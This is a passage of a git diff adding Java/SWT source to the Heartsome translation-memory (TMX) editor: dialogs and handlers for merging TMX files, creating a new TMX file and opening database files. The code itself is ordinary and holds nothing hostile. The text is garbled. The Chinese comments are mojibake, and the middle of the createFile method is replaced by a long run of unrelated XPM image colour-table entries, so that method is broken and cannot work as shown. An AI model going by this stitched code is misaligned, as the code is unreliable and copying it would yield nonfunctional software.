tableViewer.refresh(); + } + } + check(); + } + }); + + // ä¿å­˜è·¯å¾„ + Composite saveCmp = new Composite(clientContainer, SWT.NONE); + GridDataFactory.swtDefaults().align(SWT.FILL, SWT.CENTER).grab(true, false).applyTo(saveCmp); + GridLayoutFactory.swtDefaults().numColumns(3).applyTo(saveCmp); + + Label saveLbl = new Label(saveCmp, SWT.NONE); + saveLbl.setText(Messages.getString("dialog.MergeTmxDilog.saveTo")); + + tgtTxt = new Text(saveCmp, SWT.BORDER | SWT.READ_ONLY); + tgtTxt.setBackground(getShell().getDisplay().getSystemColor(SWT.COLOR_WHITE)); + GridDataFactory.swtDefaults().align(SWT.FILL, SWT.CENTER).grab(true, false).applyTo(tgtTxt); + + Button browerBtn = new Button(saveCmp, SWT.NONE); + browerBtn.setText(Messages.getString("dialog.MergeTmxDilog.brower")); + browerBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + FileDialog dialog = new FileDialog(getShell(), SWT.OPEN | SWT.SAVE); + dialog.setFilterExtensions(new String[] { "*.tmx", "*.*" }); + String curtgtFileLC = dialog.open(); + if (curtgtFileLC != null) { + tgtTxt.setText(curtgtFileLC); + } + check(); + } + }); + + return null; + } + + private void check() { + setOkBtnEnable((fileList.size() >= 2) && !tgtTxt.getText().isEmpty()); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.common.ui.dialog.HsAbstractProgressDialog#getDisplayHelpUrl() + */ + @Override + public String getDisplayHelpUrl() { + return "/net.heartsome.cat.te.ui.help/html/{0}/ch03.html#tmx_merge_id"; + } + + @Override + public void run(IProgressMonitor monitor) throws InvocationTargetException, InterruptedException { + monitor.beginTask(Messages.getString("dialog.MergeTmxDilog.mergeTmx.taskName"), 1); + for (final String fileLC : fileList) { + if (!new File(fileLC).exists()) { + Display.getDefault().syncExec(new Runnable() { + @Override + public void run() { + OpenMessageUtils.openMessage(IStatus.INFO, + MessageFormat.format(Messages.getString("dialog.MergeTmxDilog.merge.info.msg"), fileLC)); + } + }); + throw new OperationCanceledException(); + } + + // 判断是å¦æ˜¯ç©ºæ–‡ä»¶ + if (new File(fileLC).length() <= 0) { + Display.getDefault().syncExec(new Runnable() { + @Override + public void run() { + OpenMessageUtils.openMessage(IStatus.INFO, + MessageFormat.format(Messages.getString("dialog.MergeTmxDilog.merge.fileNull.msg"), fileLC)); + } + }); + throw new OperationCanceledException(); + } + + } + Display.getDefault().syncExec(new Runnable() { + @Override + public void run() { + tgtFileLC = tgtTxt.getText(); + } + }); + if (new File(tgtFileLC).exists()) { + Display.getDefault().syncExec(new Runnable() { + @Override + public void run() { + confirm = OpenMessageUtils.openConfirmMessage(MessageFormat.format( + Messages.getString("dialog.MergeTmxDilog.merge.config.msg"), tgtFileLC)); + } + }); + if (!confirm) { + throw new OperationCanceledException(); + } + } + + MergeTmx mergeTmx = new MergeTmx(fileList, tgtFileLC); + mergeTmx.beginMerge(new SubProgressMonitor(monitor, 1)); + monitor.done(); + + } + + public class TableViewerLabelProvider extends LabelProvider implements ITableLabelProvider { + public Image getColumnImage(Object element, int columnIndex) { + return null; + } + + public String getColumnText(Object element, int columnIndex) { + if (element instanceof String) { + switch (columnIndex) { + case 0: + return "" + (fileList.indexOf(String.valueOf(element)) + 1); + case 1: + return String.valueOf(element); + default: + break; + } + } + return null; + } + } + +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/newtmx/handler/NewTmxFileHandler.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/newtmx/handler/NewTmxFileHandler.java new file mode 100644 index 0000000..ad7ae94 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/newtmx/handler/NewTmxFileHandler.java @@ -0,0 +1,73 @@ +/** + * NewTmxFileHandler.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.ui.newtmx.handler; + +import java.io.File; + +import net.heartsome.cat.common.ui.utils.OpenMessageUtils; +import net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer; +import net.heartsome.cat.te.ui.newtmx.ui.NewTmxFileDialog; +import net.heartsome.cat.te.ui.opentmx.handler.OpenTmxFileHandler; +import net.heartsome.cat.te.ui.resource.Messages; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.swt.custom.BusyIndicator; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * 创建一个空的TMX文件,空的TMX文件是指body节点中åˆå§‹åŒ–一个TU,æºè¯­è¨€å’Œç›®æ ‡è¯­è¨€çš„TUV内容为空串,其他内容填充默认值,如创建者ã€åˆ›å»ºæ—¶é—´ç­‰ä¿¡æ¯ã€‚具体默认å–值å‚考TMX标准。 2013-06-07 + * @author robert + * @version + * @since JDK1.6 + */ +public class NewTmxFileHandler extends AbstractHandler { + + @Override + public Object execute(ExecutionEvent event) throws ExecutionException { + final Shell shell = HandlerUtil.getActiveShell(event); + final TmxEditorViewer tmxEditorViewer = TmxEditorViewer.getInstance(); + if (tmxEditorViewer == null) { + OpenMessageUtils.openMessage(IStatus.ERROR, + Messages.getString("handler.OpenTmxFileHandler.cantFindEditorViewerMsg")); + return null; + } + if (tmxEditorViewer.getTmxEditor() != null) { + if (!tmxEditorViewer.closeTmx()) { + return null; + } + } + BusyIndicator.showWhile(shell.getDisplay(), new Runnable() { + + @Override + public void run() { + NewTmxFileDialog dialog = new NewTmxFileDialog(shell); + if (dialog.open() == Dialog.OK) { + String path = dialog.getNewFilePath(); + if (path != null) { + File f = new File(path); + if (f.exists()) { + OpenTmxFileHandler.open(f); + } + } + } + } + }); + return null; + } +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/newtmx/ui/NewTmxFileDialog.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/newtmx/ui/NewTmxFileDialog.java new file mode 100644 index 0000000..cb87ecf --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/newtmx/ui/NewTmxFileDialog.java @@ -0,0 +1,354 @@ +/** + * NewTmxFileDialog.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.ui.newtmx.ui; + +import java.io.File; +import java.io.FileNotFoundException; +import java.io.FileOutputStream; +import java.io.IOException; +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.Collections; +import java.util.Comparator; +import java.util.List; +import java.util.Map.Entry; + +import net.heartsome.cat.common.bean.TmxHeader; +import net.heartsome.cat.common.bean.TmxTU; +import net.heartsome.cat.common.locale.Language; +import net.heartsome.cat.common.locale.LocaleService; +import net.heartsome.cat.common.ui.dialog.HsAbstractHelpDilog; +import net.heartsome.cat.common.ui.languagesetting.LanguageLabelProvider; +import net.heartsome.cat.te.core.bean.TmxTemplet; +import net.heartsome.cat.te.tmxeditor.TmxEditorUtils; +import net.heartsome.cat.te.ui.Activator; +import net.heartsome.cat.te.ui.resource.Messages; + +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Status; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.ISelectionChangedListener; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.SelectionChangedEvent; +import org.eclipse.nebula.jface.tablecomboviewer.TableComboViewer; +import org.eclipse.nebula.widgets.tablecombo.TableCombo; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 创建 tmx 文件 2013-06-07 + * @author robert + * @version + * @since JDK1.6 + */ +public class NewTmxFileDialog extends HsAbstractHelpDilog { + /** ä¿å­˜ tmx 文件存放路径的文本框 */ + private Text locationTxt; + private String newFilePath = null; + private List languages; + private Language srcLanguage; + private Language tgtLanguage; + private TableComboViewer srcLangComboViewer; + private TableComboViewer tgtLangComboViewer; + private FileOutputStream output = null; + public static Logger LOGGER = LoggerFactory.getLogger(NewTmxFileDialog.class.getName()); + + public NewTmxFileDialog(Shell parentShell) { + super(parentShell); + // 获å–语言列表 + languages = new ArrayList(LocaleService.getDefaultLanguage().values()); + Collections.sort(languages, new Comparator() { + public int compare(Language o1, Language o2) { + return o1.toString().compareTo(o2.toString()); + } + }); + } + + @Override + protected int getShellStyle() { + return super.getShellStyle() | SWT.TITLE | SWT.CLOSE; + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setMaximized(false); + newShell.setMinimized(false); + newShell.setText(Messages.getString("newTmx.NewTmxFileDialog.title")); + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + super.createButtonsForButtonBar(parent); + Button okBtn = getButton(IDialogConstants.OK_ID); + okBtn.setText(Messages.getString("ui.all.dialog.ok")); + Button cancelBtn = getButton(IDialogConstants.CANCEL_ID); + cancelBtn.setText(Messages.getString("ui.all.dialog.cancel")); + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + GridData parentData = new GridData(SWT.FILL, SWT.FILL, true, true); + parentData.widthHint = 450; + parentData.heightHint = 150; + tparent.setLayoutData(parentData); + + // 设置新创建的文件所ä¿å­˜çš„ä½ç½® + Composite locationCmp = new Composite(tparent, SWT.NONE); + GridDataFactory.fillDefaults().grab(true, false).applyTo(locationCmp); + GridLayoutFactory.swtDefaults().numColumns(3).applyTo(locationCmp); + + Label lcLbl = new Label(locationCmp, SWT.NONE); + lcLbl.setText(Messages.getString("newtmx.NewTmxFileDialog.saveLCLbl")); + + locationTxt = new Text(locationCmp, SWT.BORDER | SWT.READ_ONLY); + GridDataFactory.swtDefaults().align(SWT.FILL, SWT.CENTER).grab(true, false).applyTo(locationTxt); + locationTxt.setBackground(Display.getDefault().getSystemColor(SWT.COLOR_WHITE)); + Button browseBtn = new Button(locationCmp, SWT.NONE); + browseBtn.setText(Messages.getString("newtmx.NewTmxFileDialog.browseBtn")); + browseBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + browseTmxLc(); + } + }); + + Group langGroup = new Group(tparent, SWT.NONE); + GridDataFactory.swtDefaults().align(SWT.FILL, SWT.CENTER).grab(true, false).applyTo(langGroup); + GridLayoutFactory.swtDefaults().numColumns(2).applyTo(langGroup); + langGroup.setText(Messages.getString("newtmx.NewTmxFileDialog.langGroup")); + + // æºè¯­è¨€ + Label srcLangLbl = new Label(langGroup, SWT.NONE); + srcLangLbl.setText(Messages.getString("newtmx.NewTmxFileDialog.srcLang")); + + srcLangComboViewer = new TableComboViewer(langGroup, SWT.READ_ONLY | SWT.BORDER); + TableCombo tableCombo = srcLangComboViewer.getTableCombo(); + tableCombo.setShowTableLines(false); + tableCombo.setShowTableHeader(false); + tableCombo.setDisplayColumnIndex(-1); + tableCombo.setShowImageWithinSelection(true); + tableCombo.setShowColorWithinSelection(false); + tableCombo.setShowFontWithinSelection(false); + tableCombo.setVisibleItemCount(20); + srcLangComboViewer.getTableCombo().setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + srcLangComboViewer.setLabelProvider(new LanguageLabelProvider()); + srcLangComboViewer.setContentProvider(new ArrayContentProvider()); + srcLangComboViewer.setInput(languages); + srcLangComboViewer.addSelectionChangedListener(new ISelectionChangedListener() { + public void selectionChanged(SelectionChangedEvent event) { + IStructuredSelection selection = (IStructuredSelection) event.getSelection(); + srcLanguage = (Language) selection.getFirstElement(); + } + }); + + // 目标语言 + Label tgtLangLbl = new Label(langGroup, SWT.NONE); + tgtLangLbl.setText(Messages.getString("newtmx.NewTmxFileDialog.tgtLang")); + + tgtLangComboViewer = new TableComboViewer(langGroup, SWT.READ_ONLY | SWT.BORDER); + tableCombo = tgtLangComboViewer.getTableCombo(); + tableCombo.setShowTableLines(false); + tableCombo.setShowTableHeader(false); + tableCombo.setDisplayColumnIndex(-1); + tableCombo.setShowImageWithinSelection(true); + tableCombo.setShowColorWithinSelection(false); + tableCombo.setShowFontWithinSelection(false); + tableCombo.setVisibleItemCount(20); + tgtLangComboViewer.getTableCombo().setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + tgtLangComboViewer.setLabelProvider(new LanguageLabelProvider()); + tgtLangComboViewer.setContentProvider(new ArrayContentProvider()); + tgtLangComboViewer.setInput(languages); + tgtLangComboViewer.addSelectionChangedListener(new ISelectionChangedListener() { + public void selectionChanged(SelectionChangedEvent event) { + IStructuredSelection selection = (IStructuredSelection) event.getSelection(); + tgtLanguage = (Language) selection.getFirstElement(); + } + }); + + return tparent; + } + + private void browseTmxLc() { + FileDialog dlg = new FileDialog(getShell(), SWT.SAVE); + String[] filterExt = { "*.tmx", "*.*" }; + dlg.setFilterExtensions(filterExt); + String filePath = dlg.open(); + if (filePath != null) { + locationTxt.setText(filePath); + } + } + + @Override + protected void okPressed() { + // 首先验è¯æ•°æ® + newFilePath = null; + String tmxLC = locationTxt.getText().trim(); + if (tmxLC == null || tmxLC.isEmpty()) { + MessageDialog.openWarning(getShell(), Messages.getString("ui.all.dialog.error"), + Messages.getString("newtmx.NewTmxFileDialog.tmxLocationNotNull")); + return; + } + + String srcLang = null; + if (srcLanguage == null || (srcLang = srcLanguage.getCode().trim()).isEmpty()) { + MessageDialog.openWarning(getShell(), Messages.getString("ui.all.dialog.error"), + Messages.getString("newtmx.NewTmxFileDialog.notSelectSrcLang")); + return; + } + + String tgtLang = null; + if (tgtLanguage == null || (tgtLang = tgtLanguage.getCode().trim()).isEmpty()) { + MessageDialog.openWarning(getShell(), Messages.getString("ui.all.dialog.error"), + Messages.getString("newtmx.NewTmxFileDialog.notSelectTgtLang")); + return; + } + + if (srcLang.equalsIgnoreCase(tgtLang)) { + MessageDialog.openWarning(getShell(), Messages.getString("ui.all.dialog.error"), + Messages.getString("newtmx.NewTmxFileDialog.srcLangEqualsTgtLang")); + return; + } + //  判断文件是å¦é‡å¤ + if (new File(tmxLC).exists()) { + boolean result = MessageDialog.openConfirm(getShell(), Messages.getString("ui.all.dialog.warning"), + MessageFormat.format(Messages.getString("newtmx.NewTmxFileDialog.tmxExsit"), tmxLC)); + if (!result) { + return; + } + } + + IStatus createResult = createFile(tmxLC, srcLang, tgtLang); + if (createResult.getSeverity() == IStatus.ERROR) { + MessageDialog.openWarning(getShell(), Messages.getString("ui.all.dialog.error"), + Messages.getString("newtmx.NewTmxFileDialog.createFail") + "\n" + createResult.getMessage()); + return; + } + newFilePath = tmxLC; + super.okPressed(); + } + + /** + * The new file path, or null + * @return ; + */ + public String getNewFilePath() { + return newFilePath; + } + + /** + * 创建一个新的 tmx 文件 + * @param filePath + * @param srcLang + * @param tgtLang + */ + private IStatus createFile(String filePath, String srcLang, String tgtLang) { + try { + TmxHeader header = TmxTemplet.generateTmxHeader(srcLang, null, null, null, null, null, null); + TmxTU tu = TmxEditorUtils.createTmxTu(srcLang, tgtLang); + File newTmxFile = new File(filePath); + output = new FileOutputStream(newTmxFile); + + // 创建 tmx ä¿¡æ¯ + writeString(TmxTemplet.genertateTmxXmlDeclar()); + writeString("\n"); + writeString(TmxTemplet.header2Xml(header)); + writeString("\n"); + // 开始创建 tu + // UNDO 这里还有些属性未完善 + StringBuffer sb = new StringBuffer(); + sb.append(" entry : tu.getAttributes().entrySet()) { + sb.append(" " + entry.getKey() + "=\"" + entry.getValue() + "\""); + } + sb.append(">\n"); + writeString(sb.toString()); + + sb = new StringBuffer(); + sb.append("\n"); + sb.append("\n"); + writeString(sb.toString()); + writeString("

    q c #668505", +",q c #5A7504", +"'q c #7DA802", +")q c #617F03", +"!q c #627F04", +"~q c #6E8E04", +"{q c #789B05", +"]q c #7EA405", +"^q c #83CC4A", +"/q c #AFE307", +"(q c #AADD07", +"_q c #9CCC06", +":q c #90BB06", +"r c #6A8904", +",r c #759705", +"'r c #7DA305", +")r c #7EA205", +"!r c #83CA4A", +"~r c #ADE007", +"{r c #AEE107", +"]r c #A9DB07", +"^r c #82AA05", +"/r c #9ACF02", +"(r c #A9E601", +"_r c #7DA205", +":r c #8AB406", +"s c #88B005", +",s c #95C106", +"'s c #97C206", +")s c #8DB506", +"!s c #9ED303", +"~s c #9FD302", +"{s c #84A905", +"]s c #84AA05", +"^s c #ABE601", +"/s c #87B004", +"(s c #85AB05", +"_s c #445211", +":s c #6B926D", +"t c #81A505", +",t c #90BC04", +"'t c #A7E002", +")t c #8DB406", +"!t c #91BA06", +"~t c #6B860C", +"{t c #405A3E", +"]t c #B0D3B6", +"^t c #ABD0B1", +"/t c #ADD1B3", +"(t c #B6D5BB", +"_t c #527155", +":t c #242B0E", +"u c #B6D6BC", +",u c #B4D6BA", +"'u c #B3D4B8", +")u c #86AA8B", +"!u c #1E2113", +"~u c #324002", +"{u c #435701", +"]u c #688A01", +"^u c #6D8B05", +"/u c #7C9D05", +"(u c #2D3414", +"_u c #81AA84", +":u c #ACD1B1", +"v c #C9E1CA", +",v c #CBE2CD", +"'v c #CEE6CD", +")v c #CDE4CC", +"!v c #C9E0CB", +"~v c #C7E0C8", +"{v c #C3DEC4", +"]v c #BAD9BA", +"^v c #AED1B0", +"/v c #A1C8A7", +"(v c #8DB995", +"_v c #8ECA84", +":v c #83BF7E", +"w c #A1C9A5", +",w c #9AC69D", +"'w c #92C192", +")w c #84BB85", +"!w c #7FB481", +"~w c #78AF7F", +"{w c #74AA7E", +"]w c #84C57B", +"^w c #80BF7A", +"/w c #6EA77A", +"(w c #72AC7A", +"_w c #76AF7B", +":w c #7BB57E", +"x c #81C37A", +",x c #80C277", +"'x c #6CA577", +")x c #6DA877", +"!x c #72AC78", +"~x c #75B27B", +"{x c #77B47B", +"]x c #76B47B", +"^x c #75B47B", +"/x c #72B177", +"(x c #6CAD74", +"_x c #63A86C", +":x c #1A2418", +"y c #6EAD75", +",y c #70B177", +"'y c #6FAF75", +")y c #6DAF74", +"!y c #6CAE73", +"~y c #68AB6F", +"{y c #60A569", +"]y c #3D6A40", +"^y c #1E2213", +"/y c #2F3C07", +"(y c #6B8C01", +"_y c #B3EF00", +":y c #658404", +"z c #65A96C", +",z c #5FA567", +"'z c #569E60", +")z c #2D5530", +"!z c #1D2014", +"~z c #526A09", +"{z c #719203", +"]z c #668304", +"^z c #719004", +"/z c #85A705", +"(z c #8AAB06", +"_z c #86A805", +":z c #6E8C05", +"A c #1E391C", +",A c #343F10", +"'A c #576B0B", +")A c #7E9B06", +"!A c #8DB107", +"~A c #8FB307", +"{A c #8AAE07", +"]A c #779705", +"^A c #86AB03", +"/A c #9ECE02", +"(A c #668204", +"_A c #627F03", +":A c #B9F600", +"B c #509959", +",B c #3C8047", +"'B c #204F25", +")B c #193519", +"!B c #191F18", +"~B c #313914", +"{B c #61760D", +"]B c #88A807", +"^B c #6D8E04", +"/B c #9DCD02", +"(B c #97C402", +"_B c #698604", +":B c #627E03", +"C c #6AAC76", +",C c #68AB75", +"'C c #66AA74", +")C c #66AD70", +"!C c #59A163", +"~C c #4E9759", +"{C c #418C4C", +"]C c #317F3E", +"^C c #297836", +"/C c #225C2A", +"(C c #192F18", +"_C c #374011", +":C c #5B7109", +"D c #2D7A39", +",D c #287635", +"'D c #1D4F23", +")D c #2C3311", +"!D c #4E6408", +"~D c #9FCF01", +"{D c #A0CF02", +"]D c #5F7B03", +"^D c #577203", +"/D c #A5D701", +"(D c #5E7A03", +"_D c #6B8B04", +":D c #83A406", +"E c #277433", +",E c #1B471F", +"'E c #3A480E", +")E c #769801", +"!E c #648004", +"~E c #5E7903", +"{E c #7EA302", +"]E c #C2FF00", +"^E c #7A9E02", +"/E c #749504", +"(E c #80A006", +"_E c #88A806", +":E c #8AAA06", +"F c #3C8746", +",F c #2E7A3A", +"'F c #267032", +")F c #257032", +"!F c #215B2A", +"~F c #1D1F15", +"{F c #3C4C03", +"]F c #546B04", +"^F c #6A8705", +"/F c #648003", +"(F c #BFF900", +"_F c #ABDD01", +":F c #7B9A05", +"G c #17391B", +",G c #262D0C", +"'G c #364502", +")G c #4B6003", +"!G c #678503", +"~G c #607C03", +"{G c #668303", +"]G c #6B8B05", +"^G c #82A106", +"/G c #8AA806", +"(G c #88A706", +"_G c #68A248", +":G c #AAD008", +"H c #8EAC06", +",H c #8CAD06", +"'H c #8BAA06", +")H c #85A606", +"!H c #69A349", +"~H c #82C151", +"{H c #A8CD08", +"]H c #A5C808", +"^H c #9DBE07", +"/H c #90AF07", +"(H c #7E9F06", +"_H c #BBF000", +":H c #46570E", +"I c #A5CA08", +",I c #A3C608", +"'I c #9FC107", +")I c #98B807", +"!I c #7B9D06", +"~I c #698805", +"{I c #658604", +"]I c #B6E902", +"^I c #1D211C", +"/I c #69926F", +"(I c #8AB390", +"_I c #7BB081", +":I c #4C9C5C", +"J c #9BBC07", +",J c #97B607", +"'J c #87A706", +")J c #7A9C06", +"!J c #698905", +"~J c #2E3810", +"{J c #436141", +"]J c #89B38E", +"^J c #7FB285", +"/J c #4C9A5D", +"(J c #5BA46B", +"_J c #6AAC78", +":J c #6DAE7B", +"K c #76A07C", +",K c #84B388", +"'K c #53A15B", +")K c #5AA766", +"!K c #69AB77", +"~K c #6DAD7D", +"{K c #55A367", +"]K c #42924D", +"^K c #34803C", +"/K c #204D28", +"(K c #2E3808", +"_K c #3D4D03", +":K c #516804", +"L c #3C4A03", +",L c #516604", +"'L c #6E8A05", +")L c #799C06", +"!L c #799B06", +"~L c #A1C302", +"{L c #B1DB01", +"]L c #B4DE01", +"^L c #A7CD01", +"/L c #7B9408", +"(L c #182C16", +"_L c #1B5B25", +":L c #1F6229", +"M c #5CA06F", +",M c #63A871", +"'M c #60AA6D", +")M c #4E9C61", +"!M c #449855", +"~M c #3E9447", +"{M c #388C3F", +"]M c #337E3C", +"^M c #327E39", +"/M c #327C38", +"(M c #2F6034", +"_M c #294429", +":M c #2A4429", +"N c #2A3605", +",N c #394A03", +"'N c #516A04", +")N c #8AAE03", +"!N c #C8F900", +"~N c #CCFF00", +"{N c #C1F100", +"]N c #7BA204", +"^N c #6C8C04", +"/N c #739304", +"(N c #8AAB05", +"_N c #8DAE05", +":N c #90B006", +"O c #9AB606", +",O c #9BB706", +"'O c #9AB706", +")O c #99B606", +"!O c #96B206", +"~O c #92B106", +"{O c #6DA64C", +"]O c #225666", +"^O c #77B14C", +"/O c #97B506", +"(O c #A1C204", +"_O c #89AB04", +":O c #95B406", +"P c #2A7C2F", +",P c #226927", +"'P c #17421E", +")P c #161B17", +"!P c #283308", +"~P c #516803", +"{P c #6D8B04", +"]P c #C6F300", +"^P c #BFE901", +"/P c #9ABB04", +"(P c #414F0E", +"_P c #163718", +":P c #154E1C", +"

    \n"); + + writeString("\n"); + writeString("\n"); + return new Status(IStatus.OK, Activator.PLUGIN_ID, null); + } catch (FileNotFoundException e) { + LOGGER.error("", e); + return new Status(IStatus.ERROR, Activator.PLUGIN_ID, e.getMessage()); + } catch (Exception e) { + LOGGER.error("", e); + return new Status(IStatus.ERROR, Activator.PLUGIN_ID, null); + } finally { + try { + if (output != null) { + output.close(); + } + } catch (Exception e2) { + LOGGER.error("", e2); + } + } + } + + private void writeString(String string) throws IOException { + output.write(string.getBytes()); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.common.ui.dialog.HsAbstractHelpDilog#getDisplayHelpUrl() + */ + @Override + public String getDisplayHelpUrl() { + return "/net.heartsome.cat.te.ui.help/html/{0}/ch03.html#create_tmx_id"; + } + +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/opentmx/handler/OpenFileDbHandler.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/opentmx/handler/OpenFileDbHandler.java new file mode 100644 index 0000000..fe420e8 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/opentmx/handler/OpenFileDbHandler.java @@ -0,0 +1,81 @@ +/** + * OpenFileDbHandler.java + * + * Version information : + * + * Date:2013-6-9 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.ui.opentmx.handler; + +import java.io.File; + +import net.heartsome.cat.common.bean.DatabaseModelBean; +import net.heartsome.cat.common.ui.utils.OpenMessageUtils; +import net.heartsome.cat.database.Constants; +import net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer; +import net.heartsome.cat.te.ui.resource.Messages; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.FileDialog; + +/** + * @author yule + * @version + * @since JDK1.6 + */ +public class OpenFileDbHandler extends AbstractHandler { + + /** + * (non-Javadoc) + * @see org.eclipse.core.commands.IHandler#execute(org.eclipse.core.commands.ExecutionEvent) + */ + @Override + public Object execute(ExecutionEvent event) throws ExecutionException { + final TmxEditorViewer tmxEditorViewer = TmxEditorViewer.getInstance(); + if (tmxEditorViewer == null) { + OpenMessageUtils.openMessageWithReason(IStatus.ERROR, + Messages.getString("handler.OpenTmxFileHandler.openFileErrorMsg"), + Messages.getString("handler.OpenTmxFileHandler.cantFindEditorViewerMsg")); + return null; + } + + FileDialog fileDialg = new FileDialog(Display.getDefault().getActiveShell()); + fileDialg.setFilterExtensions(new String[] { "*.hstm", "*.*" }); + String result = fileDialg.open(); + if (result == null) { + return null; + } + File f = new File(result); + if (!f.exists()) { + return null; + } + + // 修改当文件打开åŽå…³é—­ä»¥å‰æ‰“开的文件 + if (tmxEditorViewer.getTmxEditor() != null) { + if(!tmxEditorViewer.closeTmx()){ + return null; + } + } + + String path = f.getParent(); + String name = f.getName(); + final DatabaseModelBean selectedVal = new DatabaseModelBean(); + selectedVal.setDbName(name); + selectedVal.setDbType(Constants.DBTYPE_SQLITE); + selectedVal.setItlDBLocation(path); + + tmxEditorViewer.open(selectedVal); + + return null; + } + +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/opentmx/handler/OpenServerDbHander.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/opentmx/handler/OpenServerDbHander.java new file mode 100644 index 0000000..8d8365f --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/opentmx/handler/OpenServerDbHander.java @@ -0,0 +1,66 @@ +/** + * 